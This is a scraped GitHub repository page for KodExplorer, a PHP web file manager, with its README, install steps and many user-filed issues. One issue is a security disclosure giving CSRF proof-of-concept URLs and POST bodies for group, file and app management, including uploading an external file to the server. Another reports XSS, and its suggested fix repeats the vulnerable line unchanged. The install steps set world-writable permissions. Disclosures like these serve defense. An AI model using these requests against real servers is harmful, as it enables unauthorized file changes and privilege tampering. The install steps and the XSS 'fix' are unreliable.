kalcaddle / kodexplorer

A web based file manager,web IDE / browser based code editor

KodExplorer

Update to kodbox: https://github.com/kalcaddle/kodbox

Download | Demo
It is recommended to use a new design upgrade product:kodbox
该项目处于维护阶段,不再开发新功能.推荐使用全新设计升级产品kodbox

---

KodExplorer is a file manager for web. It is also a web code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available.

Demo [user: demo/demo]

---

• Change log
• Document/开发文档
• Donate

Source code

---

• github
• gitee

Features

• Use experience like operating system, Rich context menu and toolbar, drag and drop, shortcut keys......
• Available in more than 40 languages.
• File Manage
  • All operations with files and folders on a remote server(copy,cut,paste,move,remove,upload,create folder/file,rename,etc.)
  • Multi-User support,custom role group.
  • Flexible configuration of access rights,file types restriction, user - interface and other
  • Clipboard: copy, cut, paste, clear
  • Selectable files & folders support (mouse click & Ctrl & Shift & words & Keyboard shortcuts)
  • Keyboard shortcuts: delete deletion, ctrl+A select, ctrl+C replication, ctrl+X splicing, up/down/left/right/home/end etc.
  • Multiple actions support for selected files & folders: move,copy,cute,remove,rename,open,archive,delete,download etc.
  • Double or single click setup to open files & folders
  • Filetree: allow to open and display multiple subfolders at a time
  • Implemented natural sorting on the client-side
  • List,Icons and Split view;
  • Move/Copy/Clone/Delete files with Drag & Drop
  • Share files or folder to others.
  • Add folder to your favorites
  • Calculate directory sizes
  • Thumbnails for image files
  • Normalizer:UTF-8 Normalizer of file-name and file-path etc.
  • Muti Charset support, in a variety of circumstances garbled solution;Sanitizer of file-name and file-path etc.
  • Multiple & chunked uploads support,
  • Background file upload with Drag & Drop HTML5 support;Folder upload with Chrome, Firefox and Edge
  • Upload form URL (or list)
  • Direct extraction to the current working directory (you do not want - to create a folder)
  • Search: search by filename & file contents
  • File exclusion based on name
  • Copy direct file URL
  • Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz)
  • Quicklook, preview for common file types; image file,text file,pdf,swf,document file etc.
  • Video and audio player relying on web browser capabilities
• Editor
  • Syntax highlighting for over 120 languages
  • Multiple label, Drag & Drop the label.
  • Over 15 themes,Choose your favorite programming style
  • Web development: HTML/JS/CSS editor with Emmet integrated
  • Automatic indent and outdent;Line wrapping;Code folding
  • Multiple cursors and selections;(Middle key select;Ctrl+Command+G)
  • Autocomplete.
  • Fully customizable key bindings including vim and Emacs modes
  • Search and replace with regular expressions;Highlight matching parentheses
  • Toggle between soft tabs and real tabs
  • Displays hidden characters
  • Drag and drop text using the mouse
  • Live syntax checker (JavaScript/CoffeeScript/CSS/XQuery/HTML/PHP etc.)
  • Cut, copy, and paste functionality
  • Markdown support.(live preview;convert to html etc.)
  • Format: JavaScript/CSS/HTML/JSON/PHP etc.
  • Cross-platform, even on mobile devices
  • Easy to integrate with other systems
  • Developed by kod itself, this is a nice try.

Install

1. Install from source

git clone https://github.com/kalcaddle/KODExplorer.git
chmod -Rf 777 ./KODExplorer/*

2. Install via download

wget https://github.com/kalcaddle/KODExplorer/archive/master.zip
unzip master.zip
chmod -Rf 777 ./*

FAQs

• Forget password

  Login page: see the "Forget password".

• Upload with Drag & Drop

  Browser compatibility: Chrome, Firefox and Edge

• How to make the system more secure?

  Make sure the administrator password is more complex.
  Open login verification code.
  Set the http server to not allow list the directory;
  PHP Security:Set the path for open_basedir.

Screenshot

file manage:

• Overview
• File list Type (icon,list,split)
• Archives create/extract/preview (zip, rar, 7z, tar, gzip, tgz)
• Drag upload
• Player
• Online Office view & Editor

Editor:

• Overview
• Live preview
• Search folder
• Markdown
• Code style

Others:

• System role
• Colorful Theme
• Custom Theme
• Language

Software requirements

• Server:
  • Windows,Linux,Mac ...
  • PHP 5.0+
  • Database: File system driver;sqlite;mysql;...
• Browser compatibility:
  • Chrome
  • Firefox
  • Opera
  • IE8+

Tips: It can also run on a router, or your home NAS

Credits

kod is made possible by the following open source projects.

• seajs
• jQuery
• ace
• zTree
• webuploader
• artTemplate
• artDialog
• jQuery-contextMenu
• ...

License

kodcloud is issued under GPLv3. license.License
Contact: warlee#kodcloud.com
Copyright (C) 2013 kodcloud.com

版权声明

kodexplorer 使用 GPL v3 协议.

kodexplorer's Issues

改不了文件权限啊

是否有提供插件API

如果想对程序的功能进行拓展，应该怎么做？官网没找到有文档，但是在程序里面我看到有lib/plugins这样的文件夹……

本地上传文件，上传失败时却显示上传成功的问题

你好，图中文件上传失败了，但上面却显示“上传成功：1/1”，是不是应该加个判断呢？

虽然不是很大的问题，但还是祝愿KODExplorer能变得更加完美！

Cannot use!!!

When I open kodexplorer/index.php , it says:

Warning: Unexpected character in input: ' in /Applications/AMPPS/www/kodexplorer/index.php on line 1

Parse error: syntax error, unexpected T_INCLUDE in /Applications/AMPPS/www/kodexplorer/index.php on line 2

I didn't change my index.php and even config/config.php!

手机用administrator账户打开时，打开文件显示的不是文件的内容

手机用administrator账户打开时，打开文件显示的不是文件的内容，而是文件在网站上的链接。

正常请求被认为恶意攻击

分享文件夹后, 获取文件列表, 如果文件夹中存在大量图片, 则会通过index.php?share/image代理显示图片, 造成短时间内请求数很大, 触发check_post_many()方法并发控制, 系统自动登出...

Cannot delete file or folder

When I try to delete a file I got this error:
"Path can't write, check the permission"
I can edit, move, rename but not delete.
If I set 777 on the file or the folder, no change.

IE9 cannot upload file

IE 9上传文件失败

用DaoCloud 免费部署一个

把该项目fork到你的项目下
在DaoCloud上注册个账号 https://www.daocloud.io/
1.在'代码构建"中新建项目，设置名称，代码源选择你fork的本项目，然后构建，等待成功即可。
2.构建成功后，点击”查看构建好的镜像“，点击部署最新版，等待部署成功
3.部署成功后，你就可以根据提供好的url访问啦。（DaoCloud文档，客服很给力的，不懂的可以随便问，哈哈）
一毛钱不花，弄一个。哈哈哈

上传大文件上传一段时间失败

我上传一个10+m的视频，上传到一部分后就直接提示上传失败了！！

此网页包含重定向循环

使用busybox+pgp-cgi部署到pc上没有问题，但是部署到我的手机上(android),浏览器访问就出现了这个问题。

如何设置自己的文件目录

因为我看到的都是demo中的文件。

Problem uploading folder

Hi,

There is a serious bug on your library and I would like to help you reporting it.

Open an empty directory on file explorer of KodExplorer and leave it open inside the browser. After that drag a folder with some subdirectories/files inside of it from the computer to the browser. The first I do that everything will work fine.

But if I do that another time all kind of unexpected behaviour may happen. Instead of overwriting the files, KodExplorer creates several directories in the wrong places inside the already upload folder. It corrupts all the tree. It's very easy to reproduce.

The expected behaviour should be this: if I overwrite a folder it should ovewrite every file/directory inside of it. But it's not what happens. If you need more info I will be glad to help you.

NOTE: on previous version overwriting was never good but at this version it makes a mess when overwriting.

Problem uploading files

Hi sir, when will you release the new version of this awesome plugin? I really need it cause the current version has lots of bugs when uploading folders with subfolders (drag'n'drop).

windows环境目录排除问题

windows环境目录排除不了，或者是我的设置方式不对，文件管理中怎么不显示工程以外目录（如C:\windows等）。不知道需要KODExplorer设置还是Apache服务器设置，以前没用过Apache服务器。希望给个windows环境下详细点的目录排除方法，谢谢！

Multiple CSRF & Self-xss vulnerabilities

Exploit Title : KODExplorer Multiple Vulnerability
Product Vendor: kalcaddle
Product Link : http://kalcaddle.com/
Google Dorks : intext:"Powered by KodExplorer"
Exploit Author: Ben Khlifa Fahmi

[email protected] / [email protected]

I - CSRF Group Managment :
Description : an attacker can add , remove or edit any User Group by sending an exploit link to a loggeed in admin.

Vulnerable Controller : group.class.php
Proof of Concept : 
    Add Group : POST Request 
            action url : http://localhost/index.php?group/add&role=[group name]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..]
            POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1

    Edit Group : POST Request 
            action url : http://localhost/index.php?group/add&role_old=[group name to edit]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..]
            POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1

    Delete Group : http://localhost/index.php?group/del&role=[group_name]

---

II - CSRF on File Managment :
Description : an attacker can add , upload file from external site , delete or edit file/path by sending a link to a logged in administrator.

Vulnerable Controller : explorer.class.php

Proof of Concept   :  
    Add a file(1) : http://localhost/index.php?explorer/mkfile&path=[file name]
    Delete file   : POST Request 
                action URL: http://localhost/index.php?explorer/pathDelete
                post data : list[[{"type":"file","path":"[path to file you want to remove]"}]]
    Upload File(2):  http://localhost/index.php?explorer/serverDownload&type=download&save_path=[path where to save file]&url=[url to external file]&uuid=[any uuid you want]

    Edit file     : POST Request
                action URL:POST http://localhost/index.php?editor/fileSave 
                Post Data: path[path to file]\ncharset[utf-8]\nfilestr[[file content]]

---

III - CSRF on App Managment :
Description : an attacker can add, edit , remove any app by sending a link to a logged in admin.

    Vulnerable Controller : app.class.php

    Proof of Concept : 
        Add app : POST request
            action url : http://localhost/index.php?app/add&name=a
            POST DATA  : data[%257B%2522type%2522%253A%2522url%2522%252C%2522content%2522%253A%2522[url of your app]%2522%252C%2522group%2522%253A%2522others%2522%252C%2522name%2522%253A%2522[you app name]%2522%252C%2522desc%2522%253A%2522[you app description]%2522%252C%2522icon%2522%253A%2522oexe.png%2522%252C%2522width%2522%253A%2522800%2522%252C%2522height%2522%253A%2522600%2522%252C%2522simple%2522%253A0%252C%2522resize%2522%253A1%257D]

        Delete App : http://localhost/index.php?app/del&name=[your app]

---

IV - Multiple Self XSS:
Description : the KODExplorer suffer from many Self XSS, vulnerable module to XSS are , Username , App Name , App Source , Folder Name , File Name , Group Name. to execute it just inject html code as one of the vulnerable module above.

---

V - Solution :
I have released a fix on my github account you can clone it or just wait for a patch to be released on the next version as i have reported all possible vulnerability ,

---

Thanks : I want to say "thank you" for:
- Tunisian Whitehats Security (@WhitehatsTN) http://www.whitehats.tn
- Arab Oracle Users Group (@araboug) http://www.araboug.org
- @RaisoMos , @tws_bayrem , @tws_charfeddine , @achref_vip , @tws_amine.

为什么LICENSE不是MIT?不是MIT那么请注明具体使用协议。

Cross Site Scripting Vulnerability on KODExplorer

HI ,
I am Ben Khlifa Fahmi a security researcher from the Security Team "Tunisian Whitehats Security" We have recently identified some security bug on your script ,
This bug is a cross-site scripting,
Impact : Critical ( 👎 )
Vulnerable template : "template/file.php"
vulnerable line : 55
Vulnerable Code : <script src="./index.php?share/common_js&user=&sid=&#="></script>

Solution ;
change the line 55 with this new line :

<script src="./index.php?share/common_js&user=&sid=&#="></script>

Proof of concept of the vulnerability on my server :

有计划支持BOS/OSS等云存储吗?

如题,百度的BAE和阿里的ACE部署后,默认使用临时空间,用户填入相应的云存储地址和key后切换到管理云存储.
目前Kodexplorer满足了作为一个文件管理器的大部分功能,但是使用云存储会是未来主流.

程序更新怎么办？

zip压缩包解压异常，出现空文件夹

zip压缩包为在windows环境下打包，KODExplorer放置在linux服务器中，字符集的不同导致解压结果仅为一个空压缩包，而不是正常的文件，

什么时候支持FTP用户登录啊

什么时候支持FTP用户登录啊，就像net2ftp一样的那种。linux服务器不好弄

没法更改或设置默认的文件共享的地址

例如我部署的地址是http://aaa.com/filemanager/ (虚拟目录)
实际应用物理路径是d:/www/website/KODExplorer

使用分享文件的功能时，分享地址会变成这样，我无法直接复制后将地址发布出去，必须手工修改。
http://aaaa.com/D:/www/website/KODExplorer/index.php?share/file&user=admin&sid=SOrPHAtG

扩展名限制无法设置不限制任何扩展名

checkExt() 函数加一个判断就可以解决问题。

在线解压缩

完美取代FTP管理：可用于服务器文件管理,支持图片、音乐、视频预览，在线解压缩，文件夹拖拽上传……。

你们所说的在线解压缩在哪里？我可找不到这功能。

补充一下，是tar的包

移动版的文件管理中可以直接执行PHP

移动端访问文件管理时点击PHP文件，该文件会被服务器执行，感觉比较危险，不知是bug还是feature

3.1 自动更新失败

3.1 提示自动下载更新，但一直报下载失败。-- 我到data目录看了，又下载了有3.12 的zip文件。
对了，编辑器无法高亮。 请求的js 路径出错了

Duplicate folder does not work

If I choose "more > duplicate" on a folder, it does not do anything.
In the previous version, I has to click "reload tree", in this version, nothing work.

打开有很多文件的文件夹很慢

打开几百个文件的文件夹，打开速度很慢，怎么优化一下？

新版本删不掉文件

Reading Latin1 Encoded Files

Hello,
In the new version, when opening a latin1 iso-8859-1 encoded file, I get the following error:
Warning: mb_convert_encoding(): Illegal character encoding specified in /var/www/kod/controller/editor.class.php on line 34

pclzip.class.php

wrong with pclzip
Line 219 should be like this : if ((!function_exists('gzopen64')) && (!function_exists('gzopen')))

能否添加百度云的应用？

希望添加百度云的应用，这样方便把文件下载到nas中来。

Skip login page

Hi,

In the previous versions that I used of kodexplorer I did some "not easy" changes to your code to skip the login page but in this new version this change is not working anymore.

Maybe you can help me with an easiest way: I have a private server and I want my user to access the KodExplorer without login, I want him to be logged in automatically as admin. How can I do that?

world功能使用报错

An error occurred
We're sorry, but for some reason we can't open this for you.

用户管理中修改用户密码无效

发现post到服务器的是

member/edit:
name:project
name_to:project
role_to:default
password_to112233:

密码那项错了

LDAP集成

版本3.12 桌面模式

版本3.12 桌面模式下点击图标右键，选择修改应用，名称不能删除，不支持光标移动，

本地环境如何实现office文件预览功能

不部署在公网，仅限于本地局域网内，如何实现office文件访问？

php错误提示？

为什么在config里面打开了php错误提示？还是发布版本的时候忘记了修改？一些提示没有正常显示了。
@ini_set("display_errors","on");

Nginx 无法分发

其他PHP 分发都正常，只有芒果云不能用，
Apache 分发正常，但期望的是可以由Nginx 分发，效率也比较高

Environment check:

I assigned the right permissions to the folder but I'm still getting the error below
error:
kodexplorer/data/system can't write
kodexplorer/data/User can't write
kodexplorer/data/thumb can't write

Please how can i resolve the error
Thank you

上传图片 经常掉线重新登陆 有别的童鞋遇到吗？

上传图片的时候 经常掉线 需要重新登陆 有别的童鞋遇到吗？

fix the size of files which more than 4GB----解决文件大于2G时的显示问题

when I use the Kod in my Raspberry Pi II(OS is base in debian),I found that when the size of files whick more than 2GB,the files size are incorrect.then I fixed this problem with follow mathod:
/lib/function/file.function.php
turn :

function get_filesize($path){
    @$ret = abs(sprintf("%u",filesize($path))); 
    return (int)$ret;
}

to this:

function get_filesize($path){
    @$ret = abs(sprintf("%u",filesize($path))); 
    return $ret;
}

but, when files size over 4G,It's still incorrect.

then add a function "fsize()" before "get_filesize()":

function fsize($file) {
  // filesize will only return the lower 32 bits of
  // the file's size! Make it unsigned.
  $fmod = filesize($file);
  if ($fmod < 0) $fmod += 2.0 * (PHP_INT_MAX + 1);

  // find the upper 32 bits
  $i = 0;

  $myfile = fopen($file, "r");

  // feof has undefined behaviour for big files.
  // after we hit the eof with fseek,
  // fread may not be able to detect the eof,
  // but it also can't read bytes, so use it as an
  // indicator.
  while (strlen(fread($myfile, 1)) === 1) {
    fseek($myfile, PHP_INT_MAX, SEEK_CUR);
    $i++;
  }

  fclose($myfile);

  // $i is a multiplier for PHP_INT_MAX byte blocks.
  // return to the last multiple of 4, as filesize has modulo of 4 GB (lower 32 bits)
  if ($i % 2 == 1) $i--;

  // add the lower 32 bit to our PHP_INT_MAX multiplier
  return ((float)($i) * (PHP_INT_MAX + 1)) + $fmod;
}

and turn get_filesize() to this:

function get_filesize($path){
    @$ret = fsize($path);
    return $ret;
}

ACE settings not saved

When I change settings in the editor (ACE), they are not saved (in fact, there is no button to save).

IP filter access

Hello,

What about IP filtering, in option set a lit of IP allowed, only these IP can access the program.

验证码不显示

输入错误密码三次后验证码显示不出来，请问该问题如何解决

预览图片的时候出问题了

对不起，是我自己改里面的代码改挂了。

Markdown文件打开时显示预览内容，这个有计划么？

Markdown文件打开时显示预览内容，这个有计划么？

问一下 JS 文件为什么都是压缩过的？可否提供JS源文件？

谢谢